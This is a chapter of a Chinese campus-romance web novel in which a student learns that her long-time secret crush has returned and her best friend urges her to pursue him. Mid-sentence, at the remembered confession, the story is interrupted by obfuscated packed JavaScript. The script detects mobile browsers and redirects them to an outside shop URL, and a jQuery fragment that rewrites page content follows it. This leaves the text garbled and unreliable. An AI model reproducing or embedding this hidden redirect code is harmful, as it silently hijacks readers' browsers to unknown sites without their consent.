次日下午,下了场小雨。
紧随而来的是一场西班牙语阅读考试,这也是最后一门专业课的期中考了。监考的是系里一位总爱板着脸、眼神锐利的老教授。
三点半,交卷铃准时响起,老教授敲了敲讲台:“停笔。”姜宁然将写得密密麻麻的答题卡递给前座,收拾好笔袋,和陈颐霜并肩走出了考场。
“呼~总算活过来了,”陈颐霜把笔袋胡乱塞进包里,拉链都没拉严实,就长舒一口气,“晚上宣传部临时要开个选题会,我得赶紧过去,这周的数据报表还没整完呢。”
她是宣传部的干事,每周都有固定的例会和一堆待处理的物料,时间卡得紧。
话音未落,董芋也从后门挤了出来,怀里抱着几本书。她一眼瞧见姜宁然,立刻快走两步凑过来,语速飞快:“宁然!江湖救急!你充电宝带了吗?我手机快没电了,下午还得跑两趟送货,没电我可就完了!”
董芋有个固定兼职,每天都得骑着她的小电驴,在南大和隔壁的京津大学之间配送水果盒。
“给。”姜宁然知道董芋兼职不易,几乎没犹豫,从书包侧袋掏出自己的银色充电宝和一根数据线,递了过去。
“大恩不言谢!回头请你喝两杯奶茶!”董芋如获至宝,接过充电宝和数据线,把怀里那几本书往旁边的陈颐霜手里一塞,“霜,拜托拜托,帮我把书拿回宿舍,我赶时间!”话音未落,人已经像阵风似的刮下了楼梯。
陈颐霜抱着突如其来的“书山”,哭笑不得:“哎!我也有事啊!”
姜宁然看着她俩风风火火的样子,嘴角弯了一下。她从陈颐霜手里接过大部分书:“我来吧,你不是要赶着去买材料?”
“甜姜你真是天使!”陈颐霜松了口气,把书递给姜宁然,“那我先冲了!”她双手合十做了个感谢的动作。
她们走后,姜宁然抱着沉甸甸的书,独自一人去了图书馆。
虽然她们专业的期中考已经结束,但其他院系不少考试才刚拉开序幕,整座校园依然笼罩在备考的紧绷氛围里。
学校图书馆的位置被占得满满当当。姜宁然转了两圈硬是没找到一个空位,只好又抱着自己的书回了宿舍。
室友都不在,姜宁然把西语动词变位表摊了满桌,一边默念着不规则变位的口诀,一边在草稿纸上反复抄写“ser”和“estar”的现在时和过去式。
一组变位写完,她停下来拿起手机,刚戴上耳机准备练精听时,收到了邹韵莺发来的消息。
[退堂鼓一级演奏家:姜姜]
[退堂鼓一级演奏家:司好像回国了]
紧随其后的是一条京津大学表白墙的链接。姜宁然点开,标题赫然写着:[理性讨论 | 学府路双王炸PK:南大司峪嘉 VS 京大周凯粤,谁才是真正的King?]
虽然标题很中二,但却精准踩中了流量密码。
坊间关于“南司北周”的议论和比较,从开学起就没停过,相关帖子在校园论坛里总能迅速飘红。
姜宁然划着屏幕,底下评论依然是老一套。
各式各样的女生,用差不多的热烈词句,表达着差不多的喜欢。
周凯粤这边,表白不少,争议也从来没停过。都说他玩得花,身边就没断过人。
但他家底厚,出手大方,对主动示好的女生向来来者不拒,约会也从不让人掏钱。所以即便名声不那么好听,讨论度也一直居高不下。
司峪嘉则完全是另一回事。
他满足了少女时代关于“侵略性”和“绝对掌控力”最极致的幻想。他意气风发,众星拱月,做事情向来游刃有余,全凭心情。不讨好,不迎合,骨头仿佛生来就没为谁弯折过。
但评论区里有栋被顶成高楼的回复,某位网友贴出了数张司峪嘉拍摄的作品。
司峪嘉很会拍照,技术好,审美更绝。姜宁然以前就知道。
这让他从周凯粤的花边中被单独“拎”出来。
他高中三年的镜头下,拍下的从来不是那种精心雕琢的糖水片。他的镜头有视角——他拍运动会,能拍出少年人骨子里的张扬;他拍毕业晚会,光影里有不动声色的告别;哪怕是随手定格的一角晚霞,都像裹着整个青春期的怅惘与温柔。他给同学拍,给老师拍,拍友情,拍汗水,有故事,有情绪,拍下那些后来被无数人珍藏的、名为“青春”的意象。
所以很多人幻想过成为他的女朋友。不止因为他帅,更因为隐秘地想象过,自己在他那双眼睛里,在他那能讲故事的镜头下,会是什么模样——是笑着的,还是安静的;是迎着光的,还是藏在影里的。
这种由才华加持的“嚣张的自我”,以及随之而来的、更加无法逾越的距离感,共同催生了最汹涌的迷恋和最遥远的仰望。
网上满屏都是“好帅”“老公看我”,但在现实里,也没人真敢往前凑一步。
他那张脸是公认的稀缺品没错,但真正让人却步的,是他身上那股劲儿。一种“我就在这里,但你够不着”的、平静的嚣张。
姜宁然看着,心里那个小人儿悄悄叹了口气。她懂这种感觉——他就是那座人人都看得见、却都默认“无法攀登”的山。而她那份喜欢跨越了三年,更像一场无人知晓的、安静的地壳运动。
而邹韵莺,是唯一知道这场“地壳运动”的人。
姜宁然想起这些,退出了链接,给邹韵莺弹了个问号:
[?]
指尖顿了顿,又补了两句:
[原来你不知道吗…]
[那晚十佳歌手他也在啊。]
姜宁然回了一个柴犬瞪眼歪头的动画表情包。
她当时没跟邹韵莺提,一来自己那晚也兵荒马乱,二来也确实下意识以为邹韵莺早就知道了。没想到她还是那么“大头虾”。
当时高考结束,她们和班上玩得好的同学一起去毕业旅行,最后一天是上海迪士尼玩。晚上回到酒店,她和邹韵莺住一间。疯玩了一整天,两人都累得不行,各自瘫在床上刷手机。
房间里很安静,只有空调低沉的送风声。姜宁然揉着自己的胸口和肋骨,小声嘟囔:“下午爬山是不是太狠了……怎么感觉腰和背都跟着疼……”
邹韵莺闻言转过头,忽然掀开被子赤脚走过来,一把拉开姜宁然的手:“我看看。”
她掌心覆过去,却故意偏了位置,不轻不重地捏了一下那两团柔软。
“啊!”姜宁然瞬间缩起来,又笑又恼,“错了错了!是这边,靠近肋骨这儿!”
“我对你的肋骨没兴趣。”邹韵莺理直气壮地说,手指又不安分地往上挪了挪,“我对你的胸比较感兴趣。”
姜宁然痒得直躲,瞬间缩成一团,花枝乱颤,咯咯地笑个不停。两人顿时玩闹成一片,枕头被踢下床,发丝蹭得乱七八糟缠在一起,最后双双精疲力尽地倒在同一张床上,肩抵着肩喘气。
夜深了,她们就那样盖一床被子,聊悄悄话。从暗恋的学长聊到讨厌的老师,从未来的志愿聊到看过的漫画,最后话题甚至滑向更私密的领域——藏在手机里的小黄文,对某些情节偷偷的幻想。什么都敢说,百无禁忌。
或许是被夜色和亲密无间的氛围蛊惑,又或许是即将毕业带来的、想要抓住点什么的不安,姜宁然在黑暗里眨了眨眼,忽然很轻地、像说梦话一样呢喃出来:
“其实……我好像,喜欢司峪
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17287895|198448||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
嘉。”
高中整整三年,她把这份心思藏得严严实实,没跟邹韵莺透露半分,邹韵莺竟也半点没瞧出来。
黑暗中,她感觉到身旁的邹韵莺似乎愣了一下,然后窸窸窣窣地转了个身,面朝着她。沉默在两人之间流淌了几秒,邹韵莺才很平静地“哦”了一声,语气平淡得像在讨论明天吃什么。
“你……怎么一点也不惊讶?”姜宁然忍不住问。
邹韵莺的声音里带着了然的笑意,翻身面对她:“很正常啊,姜宝,喜欢司峪嘉的人太多了。”
她在黑暗里伸手,精准地捏了捏姜宁然的脸,动作间颇有种“吾家有女初长成”的欣慰与调侃。
“这有什么好惊讶的?”她声音里带着笑意,“喜欢他的人太多了,从我们班排到校门口都排不完。”
她顿了顿,手指轻轻拍了拍姜宁然的脸颊,语气放软,带着一种温柔的接纳:
“只不过,我确实没想到……我们家姜姜也是其中一个。”
……
时间回到现在,消息刚发出去,屏幕上就跳出了“对方正在输入…”的提示。几秒后,邹韵莺语音通话的邀请直接弹了过来。
姜宁然指尖在屏幕上悬停了一瞬,然后滑向了绿色的接听键。
“喂?”
“姜宁然!”邹韵莺的声音立刻从听筒里炸开,压着嗓子却压不住那股急切,“你现在在哪儿?旁边有人没?”
“在宿舍,就我一个。”姜宁然把手机拿远了些,“哎你小声点,我耳朵……”
“先别管耳朵!”邹韵莺果断打断她,声音里是压抑不住的兴奋,“司峪嘉他回来了,那你还不赶紧去追他,老天都把机会摆到你面前了,姜宝,这缘分明显没断啊!这次你必须给我支棱起来,听到没?”
姜宁然听着好友比自己还激动的语气,有些无奈又有些暖意。
她弯了弯唇角,走到阳台,拉开了窗帘,下午温煦的阳光顷刻间涌入进来,细小的尘埃在光里缓缓浮游。
“可是…喜欢他的人这么多,我算什么呢。”姜宁然很轻地呼了口气。
那么多明媚张扬的女生,她们光芒耀眼,主动又大胆。可即便这样,似乎也没人能真的走近他身边。
轮不上她的吧。
能被他记得名字,已经像中了奖。够她悄悄开心好久好久了。
“你算什么?”邹韵莺的声音陡然拔高,又立刻压下来,一字一句地说,“姜宁然,你给我听好了——你是那个默默喜欢了他三年、从没拿这份喜欢去打扰过任何人的傻瓜。你是那个高一时因为他随口说‘这题不止一种解法’,就翻遍图书馆所有竞赛书,把同类题型全部整理出来的倔丫头。你更是那个明明自己也很优秀,却总在他面前觉得自己不够好的笨蛋。”
电话那头传来轻微的布料摩擦声,似乎是邹韵莺换了个更认真的姿势。
“我跟你说,这个世界上优秀的女生很多,但不是一定要争个第一第二才有资格站在他旁边。”
邹韵莺的声音透过听筒,清晰又坚定地传来:
“就像那句老掉牙的话——‘每个人都是一颗星星,但总得先亮起来,才能被看见。’”
“你明明也在发光啊,姜宁然。”她的语气软下来,带着毫不掩饰的心疼,“可你总是习惯性地把自己藏进人群里。再优秀又怎么样?默默躲在后面,是永远不会被看见的。”
仿佛摩西分红海一般,邹韵莺这番话,带着她独有的、莽撞又真挚的力量,骤然劈开了姜宁然心里那层裹了太久的、自缚的壳。
姜宁然握着手机,感觉到胸腔里,好像有什么沉寂了很久的东西,被这句话很轻、却很分明地,撬动了一下。